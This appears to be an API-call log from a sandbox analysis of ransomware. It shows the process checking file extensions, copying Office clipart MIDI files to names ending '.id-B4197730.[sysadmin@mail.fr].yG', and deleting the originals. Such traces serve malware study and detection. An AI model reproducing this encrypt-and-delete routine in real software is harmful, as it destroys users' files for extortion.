	[0150.507] lstrlenW (lpString=".doc") returned 4
	[0150.507] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0150.507] lstrlenW (lpString=".docx") returned 5
	[0150.507] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0150.507] lstrlenW (lpString=".pdf") returned 4
	[0150.507] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0150.507] lstrlenW (lpString=".xls") returned 4
	[0150.507] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0150.507] lstrlenW (lpString=".xlsx") returned 5
	[0150.508] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0150.508] lstrlenW (lpString=".ppt") returned 4
	[0150.508] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0150.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68
	[0150.508] lstrlenW (lpString=".zip") returned 4
	[0150.508] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0150.508] lstrlenW (lpString=".rar") returned 4
	[0150.508] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0150.508] lstrlenW (lpString=".bz2") returned 4
	[0150.508] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0150.508] lstrlenW (lpString=".7z") returned 3
	[0150.508] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0150.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68
	[0150.508] lstrlenW (lpString=".dbf") returned 4
	[0150.508] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0150.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68
	[0150.508] lstrlenW (lpString=".1cd") returned 4
	[0150.508] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0150.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68
	[0150.508] lstrlenW (lpString=".jpg") returned 4
	[0150.508] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0150.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68
	[0150.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68
	[0150.508] lstrlenW (lpString=".doc") returned 4
	[0150.508] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0150.508] lstrlenW (lpString=".docx") returned 5
	[0150.508] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0150.508] lstrlenW (lpString=".pdf") returned 4
	[0150.509] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0150.509] lstrlenW (lpString=".xls") returned 4
	[0150.509] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0150.509] lstrlenW (lpString=".xlsx") returned 5
	[0150.509] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0150.509] lstrlenW (lpString=".ppt") returned 4
	[0150.509] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0150.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68
	[0150.509] lstrlenW (lpString=".zip") returned 4
	[0150.509] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0150.509] lstrlenW (lpString=".rar") returned 4
	[0150.509] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0150.509] lstrlenW (lpString=".bz2") returned 4
	[0150.509] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0150.509] lstrlenW (lpString=".7z") returned 3
	[0150.509] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0150.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68
	[0150.509] lstrlenW (lpString=".dbf") returned 4
	[0150.509] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0150.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68
	[0150.509] lstrlenW (lpString=".1cd") returned 4
	[0150.509] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0150.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68
	[0150.509] lstrlenW (lpString=".jpg") returned 4
	[0150.509] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0150.510] lstrcmpiW (lpString1=".MID", lpString2=".yG") returned -1
	[0150.510] lstrlenW (lpString="MUSIC_01.MID") returned 12
	[0150.510] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\music_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0150.511] GetFileSizeEx (in: hFile=0x48c, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=6880) returned 1
	[0150.511] CloseHandle (hObject=0x48c) returned 1
	[0150.511] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\music_01.mid")) returned 0x220
	[0150.511] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\music_01.mid.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0150.511] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\music_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0150.512] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.512] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\music_01.mid.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0150.512] GetLastError () returned 0x0
	[0150.513] ReadFile (in: hFile=0x48c, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x1ae0, lpOverlapped=0x0) returned 1
	[0150.523] WriteFile (in: hFile=0x554, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x1af0, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x1af0, lpOverlapped=0x0) returned 1
	[0150.524] ReadFile (in: hFile=0x48c, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x0, lpOverlapped=0x0) returned 1
	[0150.524] WriteFile (in: hFile=0x554, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0xec, lpOverlapped=0x0) returned 1
	[0150.524] SetEndOfFile (hFile=0x554) returned 1
	[0150.524] CloseHandle (hObject=0x554) returned 1
	[0150.524] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.524] SetEndOfFile (hFile=0x48c) returned 1
	[0150.905] CloseHandle (hObject=0x48c) returned 1
	[0150.905] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0150.905] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\music_01.mid")) returned 1
	[0150.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68
	[0150.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68
	[0150.906] lstrlenW (lpString=".doc") returned 4
	[0150.906] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0150.906] lstrlenW (lpString=".docx") returned 5
	[0150.906] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0150.906] lstrlenW (lpString=".pdf") returned 4
	[0150.906] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0150.906] lstrlenW (lpString=".xls") returned 4
	[0150.906] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0150.906] lstrlenW (lpString=".xlsx") returned 5
	[0150.907] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0150.907] lstrlenW (lpString=".ppt") returned 4
	[0150.907] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0150.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68
	[0150.907] lstrlenW (lpString=".zip") returned 4
	[0150.907] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0150.907] lstrlenW (lpString=".rar") returned 4
	[0150.907] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0150.907] lstrlenW (lpString=".bz2") returned 4
	[0150.907] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0150.907] lstrlenW (lpString=".7z") returned 3
	[0150.907] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0150.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68
	[0150.907] lstrlenW (lpString=".dbf") returned 4
	[0150.907] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0150.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68
	[0150.907] lstrlenW (lpString=".1cd") returned 4
	[0150.907] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0150.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68
	[0150.907] lstrlenW (lpString=".jpg") returned 4
	[0150.907] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0150.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68
	[0150.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68
	[0150.907] lstrlenW (lpString=".doc") returned 4
	[0150.907] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0150.908] lstrlenW (lpString=".docx") returned 5
	[0150.908] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0150.908] lstrlenW (lpString=".pdf") returned 4
	[0150.908] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0150.908] lstrlenW (lpString=".xls") returned 4
	[0150.908] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0150.908] lstrlenW (lpString=".xlsx") returned 5
	[0150.908] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0150.908] lstrlenW (lpString=".ppt") returned 4
	[0150.908] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0150.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68
	[0150.908] lstrlenW (lpString=".zip") returned 4
	[0150.908] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0150.908] lstrlenW (lpString=".rar") returned 4
	[0150.908] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0150.908] lstrlenW (lpString=".bz2") returned 4
	[0150.908] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0150.908] lstrlenW (lpString=".7z") returned 3
	[0150.908] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0150.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68
	[0150.908] lstrlenW (lpString=".dbf") returned 4
	[0150.908] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0150.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68
	[0150.908] lstrlenW (lpString=".1cd") returned 4
	[0150.908] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0150.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68
	[0150.909] lstrlenW (lpString=".jpg") returned 4
	[0150.909] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0150.909] lstrcmpiW (lpString1=".MID", lpString2=".yG") returned -1
	[0150.909] lstrlenW (lpString="PARNT_04.MID") returned 12
	[0150.909] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_04.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0150.910] GetFileSizeEx (in: hFile=0x48c, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=6070) returned 1
	[0150.910] CloseHandle (hObject=0x48c) returned 1
	[0150.910] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_04.mid")) returned 0x220
	[0150.910] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_04.mid.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0150.910] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_04.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0150.910] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.910] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.910] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_04.mid.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0150.911] GetLastError () returned 0x0
	[0150.911] ReadFile (in: hFile=0x48c, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x17b6, lpOverlapped=0x0) returned 1
	[0150.913] WriteFile (in: hFile=0x55c, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x17c0, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x17c0, lpOverlapped=0x0) returned 1
	[0150.915] ReadFile (in: hFile=0x48c, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x0, lpOverlapped=0x0) returned 1
	[0150.915] WriteFile (in: hFile=0x55c, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0xec, lpOverlapped=0x0) returned 1
	[0150.915] SetEndOfFile (hFile=0x55c) returned 1
	[0150.915] CloseHandle (hObject=0x55c) returned 1
	[0150.915] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.915] SetEndOfFile (hFile=0x48c) returned 1
	[0150.918] CloseHandle (hObject=0x48c) returned 1
	[0150.918] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0150.919] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_04.mid")) returned 1
	[0150.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68
	[0150.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68
	[0150.919] lstrlenW (lpString=".doc") returned 4
	[0150.919] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0150.919] lstrlenW (lpString=".docx") returned 5
	[0150.919] lstrcmpiW (lpString1=".docx", lpString2="4.MID") returned -1
	[0150.919] lstrlenW (lpString=".pdf") returned 4
	[0150.919] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0150.919] lstrlenW (lpString=".xls") returned 4
	[0150.919] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0150.919] lstrlenW (lpString=".xlsx") returned 5
	[0150.920] lstrcmpiW (lpString1=".xlsx", lpString2="4.MID") returned -1
	[0150.920] lstrlenW (lpString=".ppt") returned 4
	[0150.920] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0150.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68
	[0150.920] lstrlenW (lpString=".zip") returned 4
	[0150.920] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0150.920] lstrlenW (lpString=".rar") returned 4
	[0150.920] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0150.920] lstrlenW (lpString=".bz2") returned 4
	[0150.920] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0150.920] lstrlenW (lpString=".7z") returned 3
	[0150.920] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0150.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68
	[0150.920] lstrlenW (lpString=".dbf") returned 4
	[0150.920] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0150.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68
	[0150.920] lstrlenW (lpString=".1cd") returned 4
	[0150.920] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0150.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68
	[0150.920] lstrlenW (lpString=".jpg") returned 4
	[0150.920] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0150.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68
	[0150.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68
	[0150.920] lstrlenW (lpString=".doc") returned 4
	[0150.920] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0150.920] lstrlenW (lpString=".docx") returned 5
	[0150.920] lstrcmpiW (lpString1=".docx", lpString2="4.MID") returned -1
	[0150.921] lstrlenW (lpString=".pdf") returned 4
	[0150.921] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0150.921] lstrlenW (lpString=".xls") returned 4
	[0150.921] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0150.921] lstrlenW (lpString=".xlsx") returned 5
	[0150.921] lstrcmpiW (lpString1=".xlsx", lpString2="4.MID") returned -1
	[0150.921] lstrlenW (lpString=".ppt") returned 4
	[0150.921] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0150.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68
	[0150.921] lstrlenW (lpString=".zip") returned 4
	[0150.921] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0150.921] lstrlenW (lpString=".rar") returned 4
	[0150.921] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0150.921] lstrlenW (lpString=".bz2") returned 4
	[0150.921] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0150.921] lstrlenW (lpString=".7z") returned 3
	[0150.921] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0150.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68
	[0150.921] lstrlenW (lpString=".dbf") returned 4
	[0150.921] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0150.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68
	[0150.921] lstrlenW (lpString=".1cd") returned 4
	[0150.921] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0150.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68
	[0150.921] lstrlenW (lpString=".jpg") returned 4
	[0150.921] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0150.922] lstrcmpiW (lpString1=".MID", lpString2=".yG") returned -1
	[0150.922] lstrlenW (lpString="PARNT_05.MID") returned 12
	[0150.922] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_05.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0150.932] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=6020) returned 1
	[0150.933] CloseHandle (hObject=0x538) returned 1
	[0150.933] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_05.mid")) returned 0x220
	[0150.933] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_05.mid.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0150.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_05.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0150.933] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.934] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_05.mid.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518
	[0150.934] GetLastError () returned 0x0
	[0150.934] ReadFile (in: hFile=0x538, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x1784, lpOverlapped=0x0) returned 1
	[0150.944] WriteFile (in: hFile=0x518, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x1790, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x1790, lpOverlapped=0x0) returned 1
	[0150.945] ReadFile (in: hFile=0x538, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x0, lpOverlapped=0x0) returned 1
	[0150.946] WriteFile (in: hFile=0x518, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0xec, lpOverlapped=0x0) returned 1
	[0150.946] SetEndOfFile (hFile=0x518) returned 1
	[0150.946] CloseHandle (hObject=0x518) returned 1
	[0150.946] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.946] SetEndOfFile (hFile=0x538) returned 1
	[0150.950] CloseHandle (hObject=0x538) returned 1
	[0150.950] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0150.951] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_05.mid")) returned 1
	[0150.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68
	[0150.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68
	[0150.951] lstrlenW (lpString=".doc") returned 4
	[0150.951] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0150.951] lstrlenW (lpString=".docx") returned 5
